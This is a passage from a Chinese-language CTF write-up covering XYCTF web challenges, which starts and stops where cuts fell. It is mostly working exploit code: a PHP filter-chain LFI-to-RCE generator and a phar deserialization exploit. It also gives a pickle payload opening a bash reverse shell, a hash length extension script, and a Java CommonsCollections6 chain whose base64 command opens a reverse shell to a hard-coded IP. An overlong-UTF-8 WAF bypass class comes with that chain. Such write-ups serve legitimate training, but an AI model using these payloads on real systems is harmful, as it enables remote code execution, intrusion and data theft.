IG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode

反正多套几层base64肯定能出,实在不行就从XYCTF一步步套上去

ezrce

原理和CTFShow极限rce一致,探姬师傅有个脚本,一把梭了…

并不(

记得加bash的符号就可以了

payload:

1
2
3
$0<<<$0\<\<\<\$\'\\173\\143\\141\\164\\54\\57\\146\\154\\141\\147\\175\\174\\142\\141\\163\\145\\66\\64\'

#{cat,/flag}|base64

去base64解码

pharme

测试可得允许上传的后缀为jpg

class.php是一个简单的无参RCE,利用__HALT_COMPILER();终止编译即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd="eval(end(getallheaders()));__halt_compiler();";
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}

$h = new evil();
$phar = new Phar('ezxy.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = $h;
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
public $cmd="print_r(getallheaders());__halt_compiler();";
public $a;
public function __destruct(){
if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
eval($this->cmd.'isbigvegetablechicken!');
} else {
echo 'nonono';
}
}
}

$h = new evil();
$phar = new Phar('ezxy2.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = $h;
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>

要绕过phar头,用下面的脚本:

1
2
3
4
5
6
7
8
9
10
11
from hashlib import sha1
import gzip

with open('ezxy2.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("ezxyy2.jpg", "wb")
f_gzip.write(new_file)
f_gzip.close()

触发phar:

1
2
3
compress.zlib://phar://xxx
compress.bzip://phar://xxx
zlib:phar://

我好像用的是第一个触发的

先传ezxyy2.jpg检测请求头,找到数组的最后一个元素

然后再传ezxyy.jpg打rce

ezClass

水题

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

利用php的Error类带出信息即可:

1
new Error()->getMessage()能够获取到字符串
1
a=Error&b=Error&aa=system&bb=cat /f*&c=getMessage

εZ?¿м@Kε¿?

打开f12发现了hint.php,发现匹配规则如下:

1
/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/

这个正则的意思是匹配除了中括号以内的字符

也就是白名单只有这些符号

而且测试发现payload长度<8

也就是最多只能够用7的长度来执行

其实这里可以爆破()

生成一个11^7+11^6+11^5+11^4+11^3+11^2+11的字典即可((

然后本地测试()

测试发现:makefile里的$<就是/flag,但是没有直接读取的权限

这里结合一下linux的东西 $()也能够执行命令,<能够将东西输入到命令里,直接读取不行就用这样的方式读取:

1
$(</flag)

/flag重新定向到一个bash -i

外部相当于bash -c

其实就相当于bash -c "bash -i /flag"

替换一下/flag就是$<

payload:

1
$(<$<)

login

如果注意到这个题有个register.php的话就能够解决了

但是wsrx这个不给扫= =

/register.php注册一个账号,然后登录,发现啥也没有

下意识打开F12,发现了cookie这里有个Rememberme

下意识以为是shiro,然后高高兴兴地去拿shiro的工具打,发现根本不行

man!

然后才仔细看看它的cookie:

1
RememberMe=gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg==

一坨AAAA,其实这里是pick的特征

看看base64

能直接解码显然不对劲了,还有一个app

这里很明显是python的服务器,那这个cookie经过base64decode的是啥呢?

搜一下就知道

百度:ctf RememberMe

发现是pickle的特征,这下就合理多了

那简单,打pick反序列化就对了,发现还有waf的,直接打不太行

发现过滤的是关键字,比如importsystem

但是os没有被过滤,这个时候直接用os.popen就好了:

1
2
3
4
5
6
7
8
9
import pickle
import base64
import os
opcode = b'''(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
ios
popen
.'''

print(base64.b64encode(opcode))

反弹shell,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import hashlib
import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect,make_response

class Login:
def __init__(self,name,pwd):
self.name = name
self.pwd = pwd



def checkLogin(users,name,pwd):
for user in users:
if user.name == name and user.pwd == user.pwd:
return True
return False

def getUserclass(users,name,pwd):
for user in users:
if user.name == name and user.pwd == user.pwd:
return user
return None

def waf(data):
if b'R' in data or b'r' in data:
return False
return True



app=Flask(__name__)
users = []

# pickle
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
try:
RememberMe = request.cookies.get('RememberMe')
print(RememberMe)
pickle_data = base64.b64decode(RememberMe)
print(pickle_data)
if waf(pickle_data):
print(pickle_data)
user_class = pickle.loads(pickle_data)
#print(user_class)
return "hello world! {}".format(user_class.name)
else:
return "waf!!!!"
except:
return redirect("login.php")

# 登录
@app.route('/login.php',methods=['GET','POST'])
def login():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and checkLogin(users,username,password):
user_class = getUserclass(users,username,password)
RememberMe = base64.b64encode(pickle.dumps(user_class))
res=make_response("Login success! <a href='/'>Click here to redirect.</a>");
res.set_cookie('RememberMe',RememberMe.decode('utf-8'))
return res
else:
return "Login fail!"
return render_template("login.html")

# 注册
@app.route('/register.php',methods=['GET','POST'])
def register():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str:
for user in users:
if user.name == username:
return "Register fail!"
users.append(Login(username,password))
return "Register successs! Your username is {username}.".format(username=username)
else:
return "Register fail!"
return render_template("register.html")

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)

give me flag

哈希长度拓展攻击。

讲下原理吧。

md5的算法流程

对于一个字符串,其二进制长度=字符串长度*2*4

比如对于64个a,其二进制长度就会是64*2*4=512

对于MD5算法来说,要对原数据进行分块处理,以512个二进制数据为一块,直到最后的数据块,分为以下两种情况:

  • 长度<=448时,则会填充padding(无意义数据)使其长度达到448,再添加原始明文数据的二进制长度信息直到512位
  • 长度>448且<512时,填充padding到下一块的448位,再添加二进制长度信息至512位

将数据分块后就可以进行md5运算了

初始向量是确定的:

1
2
3
4
A=0x67452301
B=0xefcdab89
C=0x98badcfe
D=0x10325476

经过运算即可获得MD5值

而这个运算,对于一个确定的md5,可以通过一定的规则将md5转成secret+xxx的md5值

具体的过程可以看这篇文章:浅谈HASH长度拓展攻击 - Yunen的博客 - 博客园 (cnblogs.com),膜拜师傅Orz

哈希长度拓展攻击一般都推荐hashpump

但是我觉得hexpand更加好用:

hexpand安装

1
2
3
4
-t 明文加密方式
-s md5签名signature
-l 明文长度
-m 后面追加的数据
1
./hexpand -t md5 -s abcdefg -l 43 -m xxxx #把这个xxxx换成时间戳,abcdefg换成你的md5

这个43怎么来的呢?因为web的动态flag格式是:

1
flagname{uuid.uuid4()}

找个其他靶机看看flag格式也行,前缀flagname是XYCTFuuid.uuid4()的长度是36,加起来就是43了

由于这里题目给的是$flag.$value.$time,其中$time=time(),我们需要对时间戳进行预测提交,又由于提交时靶机有延迟,所以这里要测以下请求的时间差

$value.$time是我们要追加的信息,但是$time已经写好了,所以我们生成的md5时追加的信息要删掉

经过我测试大概提交时间和实际时间有三秒钟左右的延迟(计算两次请求的时间差),写出python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import re
import time

times = 1713193105 #实际提交时间-3

md5value = '375f1c986d1f091a622a7d7fdb1497a8' #利用hexpand生成的md5值,这里是实际提交时间

value = f'800000000000000000000000005801000000000000' #参考上面hexpand生成的结果,删掉最后20位数据
value2 = ''
for i in range(0, len(value), 2):
value2+= "%"+value[i]+value[i+1]
print(value2) #生成urlencode payload

url = f"http://localhost:38864/?md5={md5value}&value={value2}"

while(True):
print ("Time left " +str(time.time() - times))
if (time.time() - times) > 0.01 and time.time() - times < 0.15: #判断一个大致区间即可🤔
res = requests.get(url = url)
time.sleep(3)
print(res.text)
break
else:
print("[*]Waiting..., time is " + str(time.time()))
print("[*]Checking payload " + url)
time.sleep(0.04)

ezLFI

源码:

1
<?php include_once($_REQUEST['file']);

filterchain秒杀:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests

#参数file
url = "http://127.0.0.1:5000/xyunser.php"
file_to_use = "/flag/resource=/etc/passwd"
command = "whoami"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
print(final_payload)
r = requests.get(url, params={
"0": command,
#"action": "include",
"file": final_payload
})

print(r.text)

Baby_Unserialize(赛后复现)

这里真的测了很久…

黑盒java,出网,urldns链能打

想用cc链,但是根本打不得一点,直接返回HOW DARE YOU

这就难办了,也不知道后台有啥gadget,只能盲测一波。这里想到了[用urldns链探测gadget][https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA]

🤔,改一下测gadget:

1
2
3
4
5
6
7
8
9
10
11
12
BadAttributeValueExpException 可行
cb链 没有
jackson 没有
fastjson 没有
c3p0 没有
rome 没有
hessian 没有

一些常用的gadget
HotSwappable
XString也没有
甚至连templatesImpl也没有

。。。。。。。。

还有很多,就不放出来了

逆天,啥gadget都没

这里就在想它到底是怎么过滤的了。

测得关键字commons.collections被干掉了,🤔

这里还在想他是不是用serialkiller或者是其他的方式,比如常见的resolveClass给ban掉了,然后用一种很新的day给绕过

百思不得其解,只能去找找绕waf的方式

找是找到了,回忆飘如雪师傅的两个方式:

都没解,这么为难我一个小萌新干啥捏。。

遂放弃。

但其实是自己想太多了。。

还有一种可能就是只检测了解码后的String是否含有commons.collections,毕竟如果直接重写resolveClass就是无解的命题

只需要绕commons.collections即可:

cc6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.Err0r233;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import gdufs.challenge.web.Utils;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));



TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> hashMap = new HashMap<>();



hashMap.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

ByteArrayOutputStream baos0 = new ByteArrayOutputStream();

/*ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);

objectOutputStream.writeObject(hashMap);
System.out.println(new String(baos.toByteArray()));*/

UTF8_overlong_encode encode = new UTF8_overlong_encode(baos0);
encode.writeObject(hashMap);

System.out.println(new String(baos0.toByteArray()));


//System.out.println(Serialize(hashMap));
//String ser = Serialize(hashMap);
//UnSerialize(ser);
//UnSerialize(ser);
/*ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(baos0.toByteArray()));
objectInputStream.readObject();
objectInputStream.close();*/
System.out.println(Utils.Base64_Encode(baos0.toByteArray()));
}

}

工具类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
package com.Err0r233;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* 参考p神:https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
* 参考1ue:https://t.zsxq.com/17LkqCzk8
* 实现:参考 OObjectOutputStream# protected void writeClassDescriptor(ObjectStreamClass desc)方法
*/
public class UTF8_overlong_encode extends ObjectOutputStream {

public UTF8_overlong_encode(OutputStream out) throws IOException {
super(out);
}

private static HashMap<Character, int[]> map;
private static Map<Character,int[]> bytesMap=new HashMap<>();

static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf});
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});


bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
bytesMap.put('.', new int[]{0xe0,0x80,0xae});
bytesMap.put(';', new int[]{0xe0,0x80,0xbb});
bytesMap.put('A', new int[]{0xe0,0x81,0x81});
bytesMap.put('B', new int[]{0xe0,0x81,0x82});
bytesMap.put('C', new int[]{0xe0,0x81,0x83});
bytesMap.put('D', new int[]{0xe0,0x81,0x84});
bytesMap.put('E', new int[]{0xe0,0x81,0x85});
bytesMap.put('F', new int[]{0xe0,0x81,0x86});
bytesMap.put('G', new int[]{0xe0,0x81,0x87});
bytesMap.put('H', new int[]{0xe0,0x81,0x88});
bytesMap.put('I', new int[]{0xe0,0x81,0x89});
bytesMap.put('J', new int[]{0xe0,0x81,0x8a});
bytesMap.put('K', new int[]{0xe0,0x81,0x8b});
bytesMap.put('L', new int[]{0xe0,0x81,0x8c});
bytesMap.put('M', new int[]{0xe0,0x81,0x8d});
bytesMap.put('N', new int[]{0xe0,0x81,0x8e});
bytesMap.put('O', new int[]{0xe0,0x81,0x8f});
bytesMap.put('P', new int[]{0xe0,0x81,0x90});
bytesMap.put('Q', new int[]{0xe0,0x81,0x91});
bytesMap.put('R', new int[]{0xe0,0x81,0x92});
bytesMap.put('S', new int[]{0xe0,0x81,0x93});
bytesMap.put('T', new int[]{0xe0,0x81,0x94});
bytesMap.put('U', new int[]{0xe0,0x81,0x95});
bytesMap.put('V', new int[]{0xe0,0x81,0x96});
bytesMap.put('W', new int[]{0xe0,0x81,0x97});
bytesMap.put('X', new int[]{0xe0,0x81,0x98});
bytesMap.put('Y', new int[]{0xe0,0x81,0x99});
bytesMap.put('Z', new int[]{0xe0,0x81,0x9a});
bytesMap.put('[', new int[]{0xe0,0x81,0x9b});
bytesMap.put(']', new int[]{0xe0,0x81,0x9d});
bytesMap.put('a', new int[]{0xe0,0x81,0xa1});
bytesMap.put('b', new int[]{0xe0,0x81,0xa2});
bytesMap.put('c', new int[]{0xe0,0x81,0xa3});
bytesMap.put('d', new int[]{0xe0,0x81,0xa4});
bytesMap.put('e', new int[]{0xe0,0x81,0xa5});
bytesMap.put('f', new int[]{0xe0,0x81,0xa6});
bytesMap.put('g', new int[]{0xe0,0x81,0xa7});
bytesMap.put('h', new int[]{0xe0,0x81,0xa8});
bytesMap.put('i', new int[]{0xe0,0x81,0xa9});
bytesMap.put('j', new int[]{0xe0,0x81,0xaa});
bytesMap.put('k', new int[]{0xe0,0x81,0xab});
bytesMap.put('l', new int[]{0xe0,0x81,0xac});
bytesMap.put('m', new int[]{0xe0,0x81,0xad});
bytesMap.put('n', new int[]{0xe0,0x81,0xae});
bytesMap.put('o', new int[]{0xe0,0x81,0xaf});
bytesMap.put('p', new int[]{0xe0,0x81,0xb0});
